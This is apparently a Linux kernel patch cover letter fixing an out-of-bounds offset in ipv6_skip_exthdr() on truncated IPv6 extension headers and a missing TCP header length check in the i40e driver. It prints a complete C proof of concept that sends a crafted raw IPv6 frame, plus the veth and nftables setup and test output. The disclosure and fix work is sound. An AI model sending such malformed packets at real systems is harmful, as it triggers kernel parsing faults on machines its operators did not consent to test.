net: validate malformed IPv6 and TCP headers

From: Zixuan Chai <[email protected]>

Hi Linux kernel maintainers,

This series fixes two malformed-packet parsing issues found in the networking stack. The first is in net/ipv6/exthdrs_core.c: a truncated IPv6 extension header can make ipv6_skip_exthdr() return an offset past the end of the skb. The second is in the i40e driver: i40e_atr() can dereference a TCP header without first checking that the complete header is present in the skb.

The direct IPv6 reproducer reaches the affected netfilter caller when run as root and demonstrates the invalid offset. We did not establish ordinary non-root reachability for this caller. The i40e and XFRM BEET paths were compile-checked and reviewed, but were not runtime-tested because the QEMU guests did not provide the required hardware or offload device.

We've tested the IPv6 changes in clean and patched QEMU guests. Complete extension headers and the tested IPv6 reassembly behavior remain intact.

We will provide detailed information about the bug in this email, along with the complete PoC source.

---- details below ----

Bug details:

Patch 1 fixes the IPv6 parser. ipv6_skip_exthdr() derives the extension-header length from hdrlen and advances the offset without first checking that the complete header is present in the skb. A truncated Destination Options header can therefore make it return an offset past skb->len.

The fix rejects the header when its calculated length exceeds the remaining skb data, before reading the next-header value or advancing the offset. Consumers that use the returned offset now handle -1 as a malformed packet: IPv6 fragment reassembly rejects a malformed first fragment, ICMPv6 does not send an error reply, and XFRM BEET GSO aborts before updating the transport offset. Complete extension headers retain their existing behavior.

Patch 2 fixes a separate length check in i40e_atr(). ipv6_find_hdr() can identify TCP as the next protocol without proving that a complete struct tcphdr is present. The patch checks the remaining skb data before i40e_atr() inspects TCP flags.

Reproducer:

gcc -O2 -Wall -Wextra -o poc poc.c
ip link add veth0 type veth peer name veth1
ip link set dev veth0 address 52:36:9e:3a:43:2d ip link set dev veth1 address 02:00:00:00:00:02 ip -6 addr add 2001:db8:5252::1/64 dev veth0
ip link set veth0 up
ip link set veth1 up
nft add table ip6 caller_probe
nft add chain ip6 caller_probe input \
'{ type filter hook input priority 0; policy accept; }'
nft add rule ip6 caller_probe input iifname veth0 \
counter reject with icmpv6 type port-unreachable

The commands above require root privileges and were run directly in an x86 QEMU guest with 2 vCPUs and 2 GB of RAM.

For the packet-level observation, we temporarily added the following debug print in nf_reject_v6_csum_ok(), immediately after its ipv6_skip_exthdr() call in net/ipv6/netfilter/nf_reject_ipv6.c:

pr_info("skip caller=reject6_csum offset=%d skb_len=%u proto=%u\n",
thoff, skb->len, proto);

The temporary change was not included in the submitted patch. On each kernel, we cleared the log, ran poc directly, and checked the result with:

    dmesg -C
    ./poc veth1 52:36:9e:3a:43:2d 2001:db8:5252::1
    poc_rc=$?
    echo "poc_rc=$poc_rc"
    dmesg | grep 'skip caller=reject6_csum'
    nft list chain ip6 caller_probe input

Additional validation:

The direct helper and consumer probe ran in matching clean and patched QEMU guests as root. All 25 assertions passed in both guests. The key Destination Options case declared a 2048-byte header while only 8 bytes were available:

- clean: ipv6_skip_exthdr() returned offset 2048
- patched: ipv6_skip_exthdr() returned -1

The shared fragment consumer likewise returned false on the clean kernel and true on the patched kernel for a truncated extension header. The packet-level runner completed with expanded_poc=PASS on both kernels, and the final fault scan found no BUG, Oops, KASAN report, panic, or soft-lockup. These tests establish behavior in root QEMU guests only; they do not prove non-root or user-namespace reachability.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/ipv6.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

static int parse_mac(const char *text, unsigned char *mac)

{
	unsigned int values[ETH_ALEN];

	if (sscanf(text, "%x:%x:%x:%x:%x:%x",
		   &values[0], &values[1], &values[2], &values[3],
		   &values[4], &values[5]) != ETH_ALEN)
		return -1;

	for (size_t index = 0; index < ETH_ALEN; index++) {
		if (values[index] > 0xff)
			return -1;
		mac[index] = (unsigned char)values[index];
	}

	return 0;
}

static int get_interface_mac(const char *interface, unsigned char *mac)

{
	struct ifreq request;
	int socket_fd;
	int result;

	socket_fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (socket_fd < 0)
		return -1;

	memset(&request, 0, sizeof(request));
	strncpy(request.ifr_name, interface, IFNAMSIZ - 1);
	result = ioctl(socket_fd, SIOCGIFHWADDR, &request);
	if (result == 0)
		memcpy(mac, request.ifr_hwaddr.sa_data, ETH_ALEN);
	close(socket_fd);
	return result;
}

static void print_usage(const char *program)

{
	fprintf(stderr,
		"usage: %s <interface> <destination-mac> <destination-ipv6>\n",
		program);
}

int main(int argc, char **argv)

{
	unsigned char source_mac[ETH_ALEN];
	unsigned char destination_mac[ETH_ALEN];
	unsigned char frame[ETH_HLEN + sizeof(struct ipv6hdr) + 8];
	struct ipv6hdr *ip6;
	struct sockaddr_ll address;
	struct in6_addr destination;
	const char *interface;
	int socket_fd;
	int interface_index;
	ssize_t sent;
	unsigned int hdrlen = 255;

	if (argc != 4) {
		print_usage(argv[0]);
		return 2;
	}

	interface = argv[1];
	if (parse_mac(argv[2], destination_mac) < 0) {
		fprintf(stderr, "invalid destination MAC: %s\n", argv[2]);
		return 2;
	}
	if (inet_pton(AF_INET6, argv[3], &destination) != 1) {
		fprintf(stderr, "invalid destination IPv6 address: %s\n", argv[3]);
		return 2;
	}
	if (get_interface_mac(interface, source_mac) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}

	interface_index = (int)if_nametoindex(interface);
	if (interface_index == 0) {
		perror("if_nametoindex");
		return 1;
	}

	memset(frame, 0, sizeof(frame));
	memcpy(frame, destination_mac, ETH_ALEN);
	memcpy(frame + ETH_ALEN, source_mac, ETH_ALEN);
	frame[12] = ETH_P_IPV6 >> 8;
	frame[13] = ETH_P_IPV6 & 0xff;

	ip6 = (struct ipv6hdr *)(frame + ETH_HLEN);
	ip6->version = 6;
	ip6->payload_len = htons(8);
	ip6->nexthdr = IPPROTO_DSTOPTS;
	ip6->hop_limit = 64;
	inet_pton(AF_INET6, "2001:db8:5252::2", &ip6->saddr);
	ip6->daddr = destination;

	frame[ETH_HLEN + sizeof(struct ipv6hdr)] = IPPROTO_TCP;
	frame[ETH_HLEN + sizeof(struct ipv6hdr) + 1] = hdrlen;

	socket_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
	if (socket_fd < 0) {
		perror("AF_PACKET/SOCK_RAW");
		return 1;
	}

	memset(&address, 0, sizeof(address));
	address.sll_family = AF_PACKET;
	address.sll_protocol = htons(ETH_P_IPV6);
	address.sll_ifindex = interface_index;
	address.sll_halen = ETH_ALEN;
	memcpy(address.sll_addr, destination_mac, ETH_ALEN);

	sent = sendto(socket_fd, frame, sizeof(frame), 0,
		      (struct sockaddr *)&address, sizeof(address));
	if (sent < 0) {
		perror("sendto");
		close(socket_fd);
		printf("send_rc=-1 errno=%d\n", errno);
		return 1;
	}

	printf("send_rc=%zd\n", sent);
	close(socket_fd);
	return sent == (ssize_t)sizeof(frame) ? 0 : 1;
}

------END poc.c--------

----BEGIN test output----

send_rc=62
poc_rc=0

[  456.953986] skip caller=reject6_csum offset=2088 skb_len=48 proto=6
table ip6 caller_probe {
        chain input {
                type filter hook input priority filter; policy accept;
                iifname "veth0" counter packets 1 bytes 48 reject
	}
}

----END test output----

Zixuan Chai (2):
ipv6: reject truncated extension headers in ipv6_skip_exthdr()
i40e: validate TCP header before ATR access

---
 drivers/net/ethernet/intel/i40e/i40e_txrx.c |  3 +++
 include/net/ipv6_frag.h                     |  4 +++-
 net/ipv4/esp4_offload.c                     |  8 ++++++--
 net/ipv6/esp6_offload.c                     |  8 ++++++--
 net/ipv6/exthdrs_core.c                     | 14 +++++++-------
 net/ipv6/icmp.c                             |  2 +-
 6 files changed, 26 insertions(+), 13 deletions(-)

2.34.1